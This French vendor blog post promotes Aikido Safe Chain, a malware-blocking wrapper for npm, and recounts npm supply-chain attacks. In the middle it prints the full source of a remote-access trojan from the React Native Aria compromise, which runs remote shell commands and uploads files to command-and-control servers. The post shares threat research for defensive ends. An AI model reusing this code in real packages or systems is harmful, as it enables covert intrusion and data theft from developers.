En bref :
Nous venons de lancer Aikido Chain, un wrapper sécurisé pour npm, npx et yarn qui s'intègre à votre flux de travail actuel et vérifie chaque paquet à la recherche de logiciels malveillants avant l'installation. Il vous protège en temps réel contre la confusion des dépendances, les portes dérobées, les typosquats et d'autres menaces de la chaîne d'approvisionnement sans modifier votre flux de travail.
–npm install est en quelque sorte la roulette russe du développement moderne. Un mauvais package, une faute de frappe sournoise, et vous avez soudainement offert à un groupe APT nord-coréen les clés de votre environnement de production. Amusant, n'est-ce pas ?
Mais les États-nations, les groupes de cybercriminels et les développeurs malveillants ont tous compris une chose : le moyen le plus simple de pirater les logiciels modernes est de passer directement par le développeur. Et quoi de mieux que d'introduire subrepticement des logiciels malveillants dans les paquets open source que nous installons aveuglément chaque jour ?
C'est pourquoi nous avons conçu Aikido Chain, une couche de protection autour de npm, npx et même yarn qui agit comme un videur pour vos dépendances. Elle vérifie la présence de logiciels malveillants connus dans les paquets avant qu'ils ne soient installés dans votre projet, sans que vous ayez à modifier votre flux de travail.
Avec Safe Chain, chaque développeur de votre équipe doit l'installer lui-même, ce qui peut laisser de nombreuses failles si vous cherchez à sécuriser l'ensemble de votre service d'ingénierie. Aikido adopte une approche différente. Il s'agit d'un agent léger déployé via votre solution MDM existante, ce qui lui permet d'être installé sur chaque poste de travail des développeurs sans que personne n'ait à effectuer de configuration. Il couvre toutes les fonctionnalités de Safe Chain, ainsi que PyPI, Maven, NuGet, les extensions VS Code et Open VSX, les extensions Chrome et les outils de codage basés sur l'IA tels que Cursor, Claude Code, Copilot et Windsurf. Il s'appuie sur la même Aikido renseignement sur les menaces Aikido , mais protège l'ensemble des appareils des développeurs dans tous les écosystèmes réellement utilisés par votre équipe.
Avant d'approfondir les raisons pour lesquelles ces outils empêchent votre machine de développement de se transformer en botnet dédié au minage de cryptomonnaies, voyons d'abord pourquoi ce problème existe.
Pourquoi les packages NPM sont-ils une cible si juteuse ?
Voici la dure vérité : vous ne savez plus vraiment ce qu'il y a dans votre application.
Environ 70 à 90 % de tout logiciel moderne est composé de code open source, selon la Linux Foundation. Vous ne l'avez pas écrit. Vous ne l'avez pas audité. Et le plus important, la majeure partie n'a même pas été installée directement par vous. Elle est arrivée via des dépendances transitives, un terme sophistiqué pour dire : "un package aléatoire à cinq niveaux de profondeur a décidé d'embarquer tout son arbre généalogique."
Une seule commande npm install peut télécharger des dizaines, parfois des centaines, de packages, chacun pouvant exécuter du code arbitraire grâce aux hooks d'installation.
Si un acteur malveillant parvient à introduire son malware dans un seul de ces packages, que ce soit en piratant le compte d'un mainteneur, par confusion de dépendances ou en publiant une version avec une faute de frappe, il peut toucher des milliers de projets en une seule fois.
Pas seulement des paroles : Attaques réelles que nous avons détectées
Depuis le début de l'année 2025, l'équipe de sécurité d'Aikido a découvert une série de packages malveillants, dont plus de 6 000 rien qu'en juin. Voici quelques-unes de nos découvertes.
La backdoor officielle XRP
En avril, des attaquants ont compromis le package npm officiel xrpl, utilisé pour interagir avec la blockchain XRP. Ils ont introduit de nouvelles versions qui exfiltraient discrètement les secrets de portefeuille vers un serveur distant chaque fois qu'un objet Wallet était créé.
Si cette backdoor avait été installée par des plateformes d'échange de crypto-monnaies, elle aurait pu faciliter les plus grands vols de crypto-monnées de l'histoire. L'équipe d'Aikido a détecté les versions de packages altérées dans les 45 minutes suivant leur publication et a alerté l'équipe XRP.

L'incident du RAT rand-user-agent
Quelques semaines plus tard, des attaquants ont introduit un cheval de Troie d'accès à distance (RAT) dans le package rand-user-agent, un utilitaire apparemment anodin pour générer de fausses chaînes d'agent utilisateur. Une fois installé, le malware a créé une backdoor, s'est connecté à un serveur de commande et de contrôle, et a attendu les ordres comme un agent dormant obéissant.
Cela incluait des charges utiles obfusquées, un détournement de PATH pour Windows, et des astuces ingénieuses pour installer des modules supplémentaires dans des répertoires secrets.
.png)
Dix-sept bibliothèques, une attaque d'État-nation
Juin a été le théâtre d'un assaut de grande envergure contre l'écosystème React Native Aria : 17 bibliothèques front-end ont été détournées via un jeton de mainteneur GlueStack compromis. Au total, les paquets comptaient plus d'un million de téléchargements hebdomadaires, ce qui aurait pu avoir un impact absolument catastrophique sur l'écosystème React Native.
Une porte dérobée obfusquée a été insérée sous forme de RAT, permettant à l'attaquant un accès complet à l'infrastructure sur laquelle elle s'exécutait, y compris la capacité de livrer à distance d'autres malwares.
global._V = '8-npm13';
(async () => {
try {
const c = global.r || require;
const d = global._V || '0';
const f = c('os');
const g = c("path");
const h = c('fs');
const i = c("child_process");
const j = c("crypto");
const k = f.platform();
const l = k.startsWith('win');
const m = f.hostname();
const n = f.userInfo().username;
const o = f.type();
const p = f.release();
const q = o + " " + p;
const r = process.execPath;
const s = process.version;
const u = new Date().toISOString();
const v = process.cwd();
const w = typeof __filename === "undefined" || __filename !== "[eval]";
const x = typeof __dirname === "undefined" ? v : __dirname;
const y = g.join(f.homedir(), ".node_modules");
if (typeof module === "object") {
module.paths.push(g.join(y, "node_modules"));
} else {
if (global._module) {
global._module.paths.push(g.join(y, "node_modules"));
} else {
if (global.m) {
global.m.paths.push(g.join(y, "node_modules"));
}
}
}
async function z(V, W) {
return new global.Promise((X, Y) => {
i.exec(V, W, (Z, a0, a1) => {
if (Z) {
Y("Error: " + Z.message);
return;
}
if (a1) {
Y("Stderr: " + a1);
return;
}
X(a0);
});
});
}
function A(V) {
try {
c.resolve(V);
return true;
} catch (W) {
return false;
}
}
const B = A('axios');
const C = A("socket.io-client");
if (!B || !C) {
try {
const V = {
stdio: "inherit",
"windowsHide": true
};
const W = {
stdio: "inherit",
"windowsHide": true
};
if (B) {
await z("npm --prefix \"" + y + "\" install socket.io-client", V);
} else {
await z("npm --prefix \"" + y + "\" install axios socket.io-client", W);
}
} catch (X) {}
}
const D = c('axios');
const E = c("form-data");
const F = c("socket.io-client");
let G;
let H;
let I = {};
const J = d.startsWith('A4') ? 'http://136.0.9[.]8:3306' : "http://85.239.62[.]36:3306";
const K = d.startsWith('A4') ? "http://136.0.9[.]8:27017" : "http://85.239.62[.]36:27017";
function L() {
if (w) {
return '[eval]' + m + '$' + n;
}
return m + '$' + n;
}
function M() {
const Y = j.randomBytes(0x10);
Y[0x6] = Y[0x6] & 0xf | 0x40;
Y[0x8] = Y[0x8] & 0x3f | 0x80;
const Z = Y.toString("hex");
return Z.substring(0x0, 0x8) + '-' + Z.substring(0x8, 0xc) + '-' + Z.substring(0xc, 0x10) + '-' + Z.substring(0x10, 0x14) + '-' + Z.substring(0x14, 0x20);
}
function N() {
const Y = {
"reconnectionDelay": 0x1388
};
G = F(J, Y);
G.on("connect", () => {
const Z = L();
const a0 = {
"clientUuid": Z,
"processId": H,
"osType": o
};
G.emit('identify', "client", a0);
});
G.on("disconnect", () => {});
G.on("command", S);
G.on("exit", () => {
if (!w) {
process.exit();
}
});
}
async function O(Y, Z, a0, a1) {
try {
const a2 = new E();
a2.append("client_id", Y);
a2.append("path", a0);
Z.forEach(a4 => {
const a5 = g.basename(a4);
a2.append(a5, h.createReadStream(a4));
});
const a3 = await D.post(K + "/u/f", a2, {
'headers': a2.getHeaders()
});
if (a3.status === 0xc8) {
G.emit("response", "HTTP upload succeeded: " + g.basename(Z[0x0]) + " file uploaded\n", a1);
} else {
G.emit("response", "Failed to upload file. Status code: " + a3.status + "\n", a1);
}
} catch (a4) {
G.emit("response", "Failed to upload: " + a4.message + "\n", a1);
}
}
async function P(Y, Z, a0, a1) {
try {
let a2 = 0x0;
let a3 = 0x0;
const a4 = Q(Z);
for (const a5 of a4) {
if (I[a1].stopKey) {
G.emit("response", "HTTP upload stopped: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
return;
}
const a6 = g.relative(Z, a5);
const a7 = g.join(a0, g.dirname(a6));
try {
await O(Y, [a5], a7, a1);
a2++;
} catch (a8) {
a3++;
}
}
G.emit('response', "HTTP upload succeeded: " + a2 + " files succeeded, " + a3 + " files failed\n", a1);
} catch (a9) {
G.emit("response", "Failed to upload: " + a9.message + "\n", a1);
}
}
function Q(Y) {
let Z = [];
const a0 = h.readdirSync(Y);
a0.forEach(a1 => {
const a2 = g.join(Y, a1);
const a3 = h.statSync(a2);
if (a3 && a3.isDirectory()) {
Z = Z.concat(Q(a2));
} else {
Z.push(a2);
}
});
return Z;
}
function R(Y) {
const Z = Y.split(':');
if (Z.length < 0x2) {
const a4 = {
"valid": false,
"message": "Command is missing \":\" separator or parameters"
};
return a4;
}
const a0 = Z[0x1].split(',');
if (a0.length < 0x2) {
const a5 = {
"valid": false,
"message": "Filename or destination is missing"
};
return a5;
}
const a1 = a0[0x0].trim();
const a2 = a0[0x1].trim();
if (!a1 || !a2) {
const a6 = {
"valid": false,
"message": "Filename or destination is empty"
};
return a6;
}
const a3 = {
"valid": true,
filename: a1,
destination: a2
};
return a3;
}
function S(Y, Z) {
if (!Z) {
const a1 = {
"valid": false,
"message": "User UUID not provided in the command."
};
return a1;
}
if (!I[Z]) {
const a2 = {
"currentDirectory": x,
commandQueue: [],
"stopKey": false
};
I[Z] = a2;
}
const a0 = I[Z];
a0.commandQueue.push(Y);
T(Z);
}
async function T(Y) {
let Z = I[Y];
while (Z.commandQueue.length > 0x0) {
const a0 = Z.commandQueue.shift();
let a1 = '';
if (a0 === 'cd' || a0.startsWith("cd ") || a0.startsWith("cd.")) {
const a2 = a0.slice(0x2).trim();
try {
process.chdir(Z.currentDirectory);
process.chdir(a2 || '.');
Z.currentDirectory = process.cwd();
} catch (a3) {
a1 = "Error: " + a3.message;
}
} else {
if (a0 === 'ss_info') {
a1 = "* _V = " + d + "\n* VERSION = " + "250602" + "\n* OS_INFO = " + q + "\n* NODE_PATH = " + r + "\n* NODE_VERSION = " + s + "\n* STARTUP_TIME = " + u + "\n* STARTUP_PATH = " + v + "\n* __dirname = " + (typeof __dirname === 'undefined' ? "undefined" : __dirname) + "\n* __filename = " + (typeof __filename === 'undefined' ? "undefined" : __filename) + "\n";
} else {
if (a0 === "ss_ip") {
a1 = JSON.stringify((await D.get('http://ip-api.com/json')).data, null, "\t") + "\n";
} else {
if (a0.startsWith("ss_upf") || a0.startsWith('ss_upd')) {
const a4 = R(a0);
if (!a4.valid) {
a1 = "Invalid command format: " + a4.message + "\n";
G.emit('response', a1, Y);
continue;
}
const {
filename: a5,
destination: a6
} = a4;
Z.stopKey = false;
a1 = " >> starting upload\n";
if (a0.startsWith("ss_upf")) {
O(m + '$' + n, [g.join(process.cwd(), a5)], a6, Y);
} else if (a0.startsWith("ss_upd")) {
P(m + '$' + n, g.join(process.cwd(), a5), a6, Y);
}
} else {
if (a0.startsWith("ss_dir")) {
process.chdir(x);
Z.currentDirectory = process.cwd();
} else {
if (a0.startsWith('ss_fcd')) {
const a7 = a0.split(':');
if (a7.length < 0x2) {
a1 = "Command is missing \":\" separator or parameters";
} else {
const a8 = a7[0x1];
process.chdir(a8);
Z.currentDirectory = process.cwd();
}
} else {
if (a0.startsWith("ss_stop")) {
Z.stopKey = true;
} else {
try {
const a9 = {
"cwd": Z.currentDirectory,
windowsHide: true
};
if (l) {
try {
const ab = g.join(process.env.LOCALAPPDATA || g.join(f.homedir(), "AppData", "Local"), "Programs\\Python\\Python3127");
const ac = {
...process.env
};
ac.PATH = ab + ';' + process.env.PATH;
a9.env = ac;
} catch (ad) {}
}
if (a0[0x0] === '*') {
a9.detached = true;
a9.stdio = "ignore";
const ae = a0.substring(0x1).match(/(?:[^\s"]+|"[^"]*")+/g);
const af = ae.map(ag => ag.replace(/^"|"$/g, ''));
i.spawn(af[0x0], af.slice(0x1), a9).on('error', ag => {});
} else {
i.exec(a0, a9, (ag, ah, ai) => {
let aj = "\n";
if (ag) {
aj += "Error executing command: " + ag.message;
}
if (ai) {
aj += "Stderr: " + ai;
}
aj += ah;
aj += Z.currentDirectory + "> ";
G.emit("response", aj, Y);
});
}
} catch (ag) {
a1 = "Error executing command: " + ag.message;
}
}
}
}
}
}
}
}
a1 += Z.currentDirectory + "> ";
G.emit("response", a1, Y);
}
}
function U() {
H = M();
N(H);
}
U();
} catch (Y) {}
})();Exploits invisibles, obfuscation et espaces blancs
Vous pourriez penser que repérer les malwares serait assez facile : appels à des IP distantes, scripts d'installation étranges ou code fortement obfusqué. Bien que certains malwares soient plus faciles à repérer que d'autres, même si vous deviez effectuer un code review complet sur toutes vos dépendances (bonne chance). Certains malwares sont si sophistiqués qu'ils passeraient inaperçus. Par exemple, os-info-checker-es6 a utilisé des caractères Unicode invisibles non visibles dans un éditeur de code normal pour livrer son malware. Ou des malwares livrés dans des images comme *****, ou peut-être le plus amusant, des malwares cachés par des espaces blancs (une méthode d'obfuscation stupide mais étonnamment efficace) comme react-html2pdf.js

Pourquoi Safe-Chain est l'outil dont vous avez besoin dès maintenant
Nous aimons tous l'open source. Mais les outils de sécurité modernes ? Pas tant que ça. Ils sont souvent lourds, bruyants et donnent l'impression d'essayer d'apprendre à piloter un avion de chasse.

Vous bénéficiez de la même expérience développeur, mais avec un gilet pare-balles en Kevlar en dessous.
Pourquoi Safe Chain surpasse largement les autres outils open source
Des outils comme npm audit et npq doivent non seulement être exécutés comme des étapes supplémentaires, mais ils s'appuient également sur des CVEs publics ou des heuristiques de base. Ils sont efficaces pour les problèmes connus, mais ils passent à côté des zero-days, et le délai entre la publication d'un paquet malveillant et sa signalisation est d'environ 10 jours. Suffisamment de temps pour que les acteurs malveillants s'incrustent profondément dans votre infrastructure.
Safe-Chain est alimenté par Aikido Intel, notre pipeline de menaces qui détecte environ 200 paquets malveillants par jour, avant qu'ils n'apparaissent dans les bases de données de vulnérabilités.
Et contrairement aux autres outils qui détectent les menaces après coup, Safe-Chain les arrête avant qu'ils ne soient installés. Rien ne se brise, sauf les rêves de l'attaquant potentiel.
Dernières réflexions : N'espérez pas. Vérifiez.
L'écosystème npm est une merveille moderne, une cathédrale de collaboration, de vitesse et... de malwares. Nous ne pouvons pas changer le monde de l'open source du jour au lendemain, mais nous pouvons vous donner les outils pour y naviguer en toute sécurité.
L'espoir n'est pas une stratégie de sécurité.
Avec Safe-Chain, vous ne devinez pas. Vous vérifiez. Chaque installation npm est scannée en temps réel. Pas de portes dérobées. Pas de vol de crypto. Pas de RATs surprises qui s'invitent sur votre ordinateur portable.
Installez Safe Chain dès aujourd'hui
L'installation de l'Aikido Safe Chain est facile. Il vous suffit de 3 étapes simples :
Installez le package Aikido Safe Chain globalement en utilisant npm :npm install -g @aikidosec/safe-chain
Configurez l'intégration du shell en exécutant :safe-chain setup
❗Redémarrez votre terminal pour commencer à utiliser l'Aikido Safe Chain.
- Cette étape est cruciale car elle garantit que les alias de shell pour npm, npx et yarn sont chargés correctement. Si vous ne redémarrez pas votre terminal, les alias ne seront pas disponibles.
Vérifiez l'installation en exécutant :npm install safe-chain-test
- Le résultat devrait montrer qu'Aikido Safe Chain bloque l'installation de ce paquet car il est signalé comme un malware. (L'installation de ce paquet ne présente aucun risque)
Vous souhaitez sécuriser l'ensemble de votre équipe ?
Safe Chain vous offre une protection en temps réel pour les installations via npm, npx et yarn, ce qui suffit à de nombreux développeurs. Mais la plupart des équipes n'utilisent pas uniquement npm. Les développeurs installent des extensions VS Code, récupèrent des paquets PyPI et Maven, exécutent des agents de codage IA et se connectent à des serveurs MCP, le tout sur des postes de travail contenant des identifiants, du code source et des accès à l'environnement de production. Safe Chain n'a aucune visibilité sur tout cela. Et il ne fonctionne que lorsque chaque développeur l'installe lui-même.
Aikido gère cela au niveau de l'organisation. Il se déploie via le système MDM que vous utilisez déjà (Jamf, Kandji, Fleet, etc.), de sorte que chaque poste de travail des développeurs est protégé dès le premier jour. Personne n'a besoin d'installer quoi que ce soit. La solution couvre npm, PyPI, Maven, NuGet, les extensions VS Code, Open VSX, les extensions Chrome et les outils de codage IA, tous inspectés en temps réel par rapport Aikido . Les équipes de sécurité peuvent voir ce qui s'exécute sur chaque machine de développeur et définir des politiques par équipe, par rôle ou par appareil.
Si vous êtes un développeur indépendant et que vous souhaitez vous protéger, installez Safe Chain. Si vous avez besoin de sécuriser une équipe, jetez un œil à Aikido . Il est disponible dans toutes les formules, et la protection npm et PyPi est incluse gratuitement. Planifiez une démo ou commencez gratuitement ici.

